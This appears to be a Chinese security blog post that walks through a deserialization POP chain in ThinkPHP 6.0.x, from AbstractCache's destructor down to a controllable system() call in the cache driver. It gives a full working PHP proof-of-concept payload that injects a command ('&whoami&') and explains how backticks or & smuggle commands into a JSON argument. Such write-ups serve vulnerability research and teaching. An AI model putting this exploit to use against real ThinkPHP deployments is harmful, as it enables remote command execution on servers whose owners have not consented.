thinkphp6.0.x 反序列化详记(二)
前言
接上文找第二条POP链。
环境配置
同上文
POP链构造
寻找__destruct方法
仍然是寻找__destruct,这次关注AbstractCache.php(/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php):

在抽象类AbstractCache中:
public function __destruct()
{
if (! $this->autosave) {
$this->save();
}
}
当$this->autosave==false时将执行$this->save()。
跟进save方法
由于AbstractCache本身是一个抽象类,而且其本身不存在save方法,因此使用find usages查看哪些类继承了AbstractCache的类,发现了一个名为CacheStore类:

查看该类的save方法:
public function save()
{
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
没有任何判断,先执行$this->getForStorage方法,本类没有存在该方法,又得回去父类。
跟进getForStorage方法
public function getForStorage()
{
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
先执行$this->cleanContents,参数是$this->cache。
跟进cleanContents方法
public function cleanContents(array $contents)
{
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
首先对指定数组进行array_flip处理(对数组键和值进行反转),赋值给$cachedProperties。
然后判断外部传入的数组$contents(也即$this->cache)中的值是否还是一个数组,如果是则将该数组和$cachedProperties进行array_intersect_key处理。
array_intersect_key():返回一个数组,该数组包含了所有出现在第一个参数数组中并同时出现在所有其它参数数组中的键名的值。
处理完返回$contents,cleanContents方法执行完毕。
回到上一个方法,赋值给$cleaned。然后再对数组[$cleaned, $this->complete]进行json_encode处理,
处理完将json数据赋值给$contents,回到save方法,再执行:$this->store->set($this->key, $contents, $this->expire)
寻找之后发现父类和子类都不存在set方法,而且也没有__call方法,那么只能寻找其他存在set方法或者__call的类,然后把$this->store实例化为该类的对象。

这里有个File类(/vendor/topthink/framework/src/think/cache/driver/File.php)可以利用。
跟进set方法
这里只需关注前半部分,而且后半部分可以再利用形成另外一条链(2019EIS CTF官方做法利用的就是后半部分,后头再讲)。
public function set($name, $value, $expire = null): bool
{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
.....
}
关注到$this->serialize($value)。
在file类找不到serialize该方法,去它的父类driver(/vendor/topthink/framework/src/think/cache/Driver.php)找到。
跟进serialize方法
protected function serialize($data): string
{
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'][0] ?? "serialize";
return $serialize($data);
}
发现利用点$serialize($data),其中$this->options['serialize'][0]参数可控,可以执行任意函数,参数为$data。
看看\(data的来源,回到set方法中,\)data来源于\(value,再回到CacheStore类,发现\)value来源于$contents,即前面通过json_encode处理后的json格式数据。
也就是说函数名可以控制,但是要执行的参数必须是json格式。
这里要利用到命令行的特殊符号:
在linux命令行中,会优先执行反引号中的内容,因此当函数名为system,即使参数为json形式不合法但只需其中存在反引号且反引号内的内容合法即可优先执行。
在windows命令行中,就不存在以上反引号的规则,但是可以利用&来执行多指令。
至此POP链寻找完毕,总结一下涉及的类:
-
抽象类
AbstractCache和继承它的子类CacheStore -
file类和它的父类driver
另外通过反序列化来加入的外部变量有:
-
AbstractCache类中的$this->autosave=false -
CacheStore类中的$this->cache(处理完将变成json数据),用于最终要执行函数的参数。 -
CacheStore类中的$this->store必须为一个file类 -
driver类中的$this->options[‘serialize’][0],用于指定要执行的函数名,这里为system。
POP预览流程
借用Somnus师傅的图:

POC代码
debug效率有所提高:
<?php
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
protected $autosave = false;
protected $cache = ["\"&whoami&"];
}
}
namespace think\filesystem{
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache
{
protected $key = "1";
protected $store;
protected $expire=1;
public function __construct($store="")
{
$this->store = $store;
}
}
}
namespace think\cache{
abstract class Driver{}
}
namespace think\cache\driver{
use think\cache\Driver;
class File extends Driver{
protected $options=[];
function __construct(){
$this->options = ["serialize"=>["system"],"data_compress"=>false,"expire"=>1,"prefix"=>"1","hash_type"=>"sha256","cache_subdir"=>"1","path"=>"1"];
}
}
}
namespace{
$file = new think\cache\driver\File();
$cache = new think\filesystem\CacheStore($file);
echo urlencode(serialize($cache));
}
?>
结果:

在浏览器端无法显示出来,测试了一下,这是因为whoami指令前后报错的原因导致页面无法回显:
<?php
system('[["\"&whoami&"],[]]');
上面的结果只能在编译器中输出。
另外如果有继续研究的话,其实在set方法后面可以发现data是被写入到文件中的:

也可以证明system函数的确有执行。
另外,页面无法回显可以考虑用system函数执行反弹shell,由于我是装在windows下的,太菜了目前无法在windows下实现反弹shell。。。

浙公网安备 33010602011771号